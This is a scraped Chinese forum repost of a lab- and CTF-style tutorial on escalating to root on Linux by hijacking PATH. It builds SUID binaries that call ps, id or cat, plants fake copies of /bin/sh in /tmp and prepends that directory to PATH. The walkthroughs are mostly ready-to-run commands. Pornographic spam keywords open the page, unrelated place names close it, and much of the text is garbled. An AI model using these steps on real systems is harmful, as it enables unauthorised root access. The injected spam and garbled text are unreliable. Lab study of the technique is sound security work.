哈哈哈哈哈操欧洲电影,久草网在线,亚洲久久熟女熟妇视频,麻豆精品色,久久福利在线视频,日韩中文字幕的,淫乱毛视频一区,亚洲成人一二三,中文人妻日韩精品电影

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

如何使用環(huán)境變量進(jìn)行Linux提權(quán)的方法詳細(xì)資料概述

馬哥Linux運(yùn)維 ? 來(lái)源:未知 ? 作者:易水寒 ? 2018-07-05 09:50 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

在這篇文章中,我將會(huì)為大家介紹一些使用環(huán)境變量進(jìn)行Linux提權(quán)的方法,包括在CTF challenges中使用到一些的技術(shù)。話不多說(shuō),讓我們進(jìn)入正題!

介紹

PATH是Linux和類Unix操作系統(tǒng)中的環(huán)境變量,它指定存儲(chǔ)可執(zhí)行程序的所有bin和sbin目錄。當(dāng)用戶在終端上執(zhí)行任何命令時(shí),它會(huì)通過(guò)PATH變量來(lái)響應(yīng)用戶執(zhí)行的命令,并向shell發(fā)送請(qǐng)求以搜索可執(zhí)行文件。超級(jí)用戶通常還具有/sbin和/usr/sbin條目,以便于系統(tǒng)管理命令的執(zhí)行。

使用echo命令顯示當(dāng)前PATH環(huán)境變量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH變量中看到‘.’,則意味著登錄用戶可以從當(dāng)前目錄執(zhí)行二進(jìn)制文件/腳本,這對(duì)于攻擊者而言也是一個(gè)提權(quán)的絕好機(jī)會(huì)。這里之所以沒有指定程序的完整路徑,往往是因?yàn)榫帉懗绦驎r(shí)的疏忽造成的。

方法1

Ubuntu LAB SET_UP

當(dāng)前,我們位于/home/raj目錄,我們將在其中創(chuàng)建一個(gè)名為/script的新目錄。在script目錄下,我們將編寫一個(gè)小型的c程序來(lái)調(diào)用系統(tǒng)二進(jìn)制文件的函數(shù)。

pwdmkdir scriptcd /scriptnano demo.c

如何使用環(huán)境變量進(jìn)行Linux提權(quán)的方法詳細(xì)資料概述

正如你在demo.c文件中看到的,我們正在調(diào)用ps命令。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。

lsgcc demo.c -o shellchmod u+s shellls -la shell

受害者VM機(jī)器

假設(shè)我們已經(jīng)成功滲透目標(biāo),并進(jìn)入提權(quán)階段。我們通過(guò)ssh成功登錄到了受害者的機(jī)器。然后使用Find命令,搜索具有SUID或4000權(quán)限的文件。

find / -perm -u=s -type f 2>/dev/null

通過(guò)上述命令,攻擊者可以枚舉出目標(biāo)系統(tǒng)上所有的可執(zhí)行文件,這里可以看到/home/raj/script/shell具有SUID權(quán)限。

進(jìn)入到/home/raj/script目錄,可以看到該目錄下有一個(gè)可執(zhí)行的“shell”文件,我們運(yùn)行這個(gè)文件。

/home/raj/script

Echo命令

cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami

Copy命令

cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami

Symlink命令

ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

注意:符號(hào)鏈接也叫軟鏈接,如果目錄具有完全權(quán)限,則它將成功運(yùn)行。在Ubuntu中symlink情況下,我們已經(jīng)賦予了/script目錄777的權(quán)限。

因此,攻擊者可以操縱環(huán)境變量PATH來(lái)進(jìn)行提權(quán),并獲得root訪問權(quán)限。

方法2

Ubuntu LAB SET_UP

重復(fù)上述步驟配置你的實(shí)驗(yàn)環(huán)境,現(xiàn)在在腳本目錄中,我們將編寫一個(gè)小型的c程序來(lái)調(diào)用系統(tǒng)二進(jìn)制文件的函數(shù)。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c文件中看到的,我們正在調(diào)用id命令。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

受害者VM機(jī)器

同樣,假設(shè)我們已經(jīng)成功滲透目標(biāo),并進(jìn)入提權(quán)階段。我們通過(guò)ssh成功登錄到了受害者的機(jī)器。然后使用Find命令,搜索具有SUID或4000權(quán)限的文件。在這里,我們可以看到/home/raj/script/shell2具有SUID權(quán)限。

find / -perm -u=s -type f 2>/dev/null

進(jìn)入到/home/raj/script目錄,可以看到該目錄下有一個(gè)可執(zhí)行的“shell2”文件,我們運(yùn)行這個(gè)文件。

cd /home/raj/scriptls./shell2

Echo命令

cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

方法3

Ubuntu LAB SET_UP

重復(fù)上述步驟配置你的實(shí)驗(yàn)環(huán)境。正如你在demo.c文件中看到的,我們正在調(diào)用cat命令從etc/passwd文件中讀取內(nèi)容。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。

lsgcc demo.c -o rajchmod u+s rajls -la raj

受害者VM機(jī)器

同樣,假設(shè)我們已經(jīng)成功滲透目標(biāo),并進(jìn)入提權(quán)階段,通過(guò)執(zhí)行以下命令查看sudo用戶列表。

find / -perm -u=s -type f 2>/dev/null

在這里,我們可以看到/home/raj/script/raj具有SUID權(quán)限,進(jìn)入到home/raj/script/目錄,可以看到該目錄下有一個(gè)可執(zhí)行的“raj”文件。所以當(dāng)我們運(yùn)行這個(gè)文件時(shí),它會(huì)把etc/passwd文件作為輸出結(jié)果。

cd /home/raj/script/ls./raj

Nano**編輯器**

cd /tmpnano cat

現(xiàn)在,當(dāng)終端打開時(shí)輸入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

方法4

Ubuntu LAB SET_UP

重復(fù)上述步驟配置你的實(shí)驗(yàn)環(huán)境。正如你在demo.c文件中看到的,我們正在調(diào)用cat命令讀取/home/raj中的msg.txt中的內(nèi)容,但/home/raj中并沒有這樣的文件。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

受害者VM機(jī)器

同樣,假設(shè)我們已經(jīng)成功滲透目標(biāo),并進(jìn)入提權(quán)階段,通過(guò)執(zhí)行以下命令查看sudo用戶列表

find / -perm -u=s -type f 2>/dev/null

在這里,我們可以看到/home/raj/script/ignite具有SUID權(quán)限,進(jìn)入到/home/raj/script目錄,可以看到該目錄下有一個(gè)可執(zhí)行的“ignite”文件。所以當(dāng)我們運(yùn)行這個(gè)文件時(shí),它會(huì)報(bào)錯(cuò)“cat: /home/raj/msg.txt”文件或目錄不存在。

cd /home/raj/scriptls./ignite

Vi編輯器

cd /tmpvi cat

現(xiàn)在,當(dāng)終端打開時(shí)輸入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami

如何使用環(huán)境變量進(jìn)行Linux提權(quán)的方法詳細(xì)資料概述

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • Linux
    +關(guān)注

    關(guān)注

    88

    文章

    11803

    瀏覽量

    219455
  • UNIX
    +關(guān)注

    關(guān)注

    0

    文章

    296

    瀏覽量

    43144
  • ECHO
    +關(guān)注

    關(guān)注

    1

    文章

    74

    瀏覽量

    28308

原文標(biāo)題:黑客的Linux神技能:使用環(huán)境變量進(jìn)行提權(quán)

文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    飛凌嵌入式ElfBoard-環(huán)境變量之刪除清空環(huán)境變量environ

    使用這種方法,除非明確知道這么操作是為了做什么。因此,最好在需要清除某個(gè)特定環(huán)境變量時(shí)使用 unsetenv()函數(shù)顯式地刪除它,以釋放其占用的內(nèi)存。
    發(fā)表于 03-26 10:23

    飛凌嵌入式ElfBoard-環(huán)境變量之刪除清空環(huán)境變量clearenv

    有的場(chǎng)景需要清空環(huán)境變量,然后再重新進(jìn)行構(gòu)建,如果是使用unsetent的話會(huì)比較繁瑣;clearenv() 將當(dāng)前進(jìn)程的環(huán)境變量列表清空,使得后續(xù)的環(huán)境變量訪問(如getenv())
    發(fā)表于 03-26 10:22

    飛凌嵌入式ElfBoard-環(huán)境變量之添加修改環(huán)境變量setenv

    setenv() 函數(shù)可以向進(jìn)程的環(huán)境變量列表中添加新的環(huán)境變量,或者修改現(xiàn)有環(huán)境變量的值。相比 putenv(),setenv() 提供了更安全的方式來(lái)操作環(huán)境變量,因?yàn)樗鼤?huì)復(fù)制傳入
    發(fā)表于 03-26 09:24

    飛凌嵌入式ElfBoard-環(huán)境變量之添加修改環(huán)境變量putenv

    在shell中有許多方法能夠修改環(huán)境變量,例如export,set等命令;要永久修改環(huán)境變量,也可以將 export 相關(guān)語(yǔ)句添加到用戶的 ~/.bashrc 或 ~/.bash_profile
    發(fā)表于 03-26 09:22

    【米爾全志T153開發(fā)板評(píng)測(cè)】串口網(wǎng)口登錄與C開發(fā)環(huán)境搭建

    arm-buildroot-linux-gnueabihf_sdk-buildroot.tar.gz 配置環(huán)境變量 cd arm-buildroot-linux-gnueabihf_sdk-buildroot/ ./rel
    發(fā)表于 03-16 22:08

    飛凌嵌入式ElfBoard-環(huán)境變量之獲取環(huán)境變量

    所有符合標(biāo)準(zhǔn)的C語(yǔ)言編譯器和平臺(tái)。原型 3 提供了參數(shù)用來(lái)獲取環(huán)境變量,這并不是標(biāo)準(zhǔn)C的main函數(shù)定義,不過(guò)有些系統(tǒng)可以使用它來(lái)接收環(huán)境變量(如Linux)。在類Unix操作系統(tǒng)(如Linu
    發(fā)表于 03-13 08:50

    linux-arm開發(fā)環(huán)境的簡(jiǎn)單配置

    linux-arm開發(fā)環(huán)境簡(jiǎn)單配置 關(guān)于linux-arm開發(fā)環(huán)境簡(jiǎn)單配置是ARM學(xué)習(xí)的第一步,很多初學(xué)者會(huì)在這問題上糾結(jié)很久都不能配置好開發(fā)環(huán)境
    發(fā)表于 01-13 07:56

    Linux系統(tǒng)下各種工具鏈無(wú)法找到的解決方法

    工具鏈時(shí),都要輸入一次source/etc/profile使環(huán)境變量重新添加。 除了gcc以外,openocd同樣需要按上述方法添加,否則可能在hello world示例最后一步遇到下述情況(同樣因?yàn)閛penocd工具未能調(diào)用而失?。? 添加路徑后所有關(guān)于工具鏈未找到的問
    發(fā)表于 10-27 07:49

    WIN10配置Hbird-SDK環(huán)境變量

    按照胡老師的《RISC-V CPU下工程與實(shí)踐》的7.4的151和152頁(yè)配置Hbird-SDK的環(huán)境變量,出現(xiàn)了問題。 問題如下: 首先創(chuàng)建setup_config.bat,之后CMD中運(yùn)行
    發(fā)表于 10-27 06:38

    Window下AICube使用前如何配置dotnet環(huán)境?

    使用AICube進(jìn)行模型轉(zhuǎn)換的時(shí)候都會(huì)報(bào)錯(cuò)“RuntimeError: Failed to initialize hostfxr”錯(cuò)誤,這個(gè)錯(cuò)誤就表明dotnet sdk沒有安裝好,或者環(huán)境變量添加
    發(fā)表于 08-04 06:19

    Linux基礎(chǔ)命令which詳解

    Linux系統(tǒng)中,which命令用于查找并顯示指定命令的可執(zhí)行文件路徑。這對(duì)于系統(tǒng)管理員和開發(fā)人員來(lái)說(shuō)是一個(gè)非常有用的工具,可以幫助定位命令所在的位置,確認(rèn)命令是否已正確安裝,并且能夠用于配置環(huán)境變量等任務(wù)。下面是華納云對(duì)which命令的
    的頭像 發(fā)表于 07-29 17:58 ?1038次閱讀

    飛凌嵌入式ElfBoard ELF 1板卡-uboot移植之三秒等待的修改

    ;gt; saveenv也可以在include/configs/mx6ullevk.h中將bootdelay設(shè)置為默認(rèn)環(huán)境變量,并設(shè)置其值。如果不設(shè)置bootdelay環(huán)境變量,我們也可以在代碼中進(jìn)行
    發(fā)表于 06-05 10:49

    迅為RK3588開發(fā)板RKLLM-Toolkit 環(huán)境搭建安裝 Miniconda

    Linux-aarch64 64-bit 兩個(gè)版本的安裝包進(jìn)行下載,如下圖所示: 為了方便,已經(jīng)將兩個(gè)安裝包存放到了“iTOP-3588 開發(fā)板\\\\02_【iTOP-RK3588 開發(fā)板】 開發(fā)資料
    發(fā)表于 06-03 17:06

    飛凌嵌入式ElfBoard ELF 1板卡-uboot常用命令之環(huán)境變量命令

    、bootargsbootargs是一個(gè)重要的環(huán)境變量,主要是給內(nèi)核傳遞參數(shù),整個(gè)環(huán)境變量都是圍繞著bootargs來(lái)設(shè)置的。bootargs非常的靈活,內(nèi)核和文件系統(tǒng)的不同搭配就會(huì)有不同的設(shè)置方法。下面
    發(fā)表于 05-22 11:28

    飛凌嵌入式ElfBoard ELF 1板卡-Uboot常用命令之查看命令

    查看使用說(shuō)明:=>help setenv這里可以看到setenv命令有兩種用法,一種是設(shè)置環(huán)境變量值,一種是刪除環(huán)境變量,具體使用方法在下一節(jié)中詳細(xì)說(shuō)明。
    發(fā)表于 05-22 11:26
    梧州市| 黑山县| 遵化市| 邢台市| 长乐市| 来安县| 广宗县| 南开区| 白山市| 贡嘎县| 萍乡市| 东乡| 连平县| 敦化市| 纳雍县| 绩溪县| 昌江| 凤台县| 金坛市| 苏尼特右旗| 茂名市| 邯郸县| 扶沟县| 称多县| 苏尼特右旗| 侯马市| 青阳县| 屏边| 宁德市| 巫山县| 新竹县| 南陵县| 隆回县| 区。| 武清区| 池州市| 鹤壁市| 云浮市| 尼玛县| 弥勒县| 凤翔县|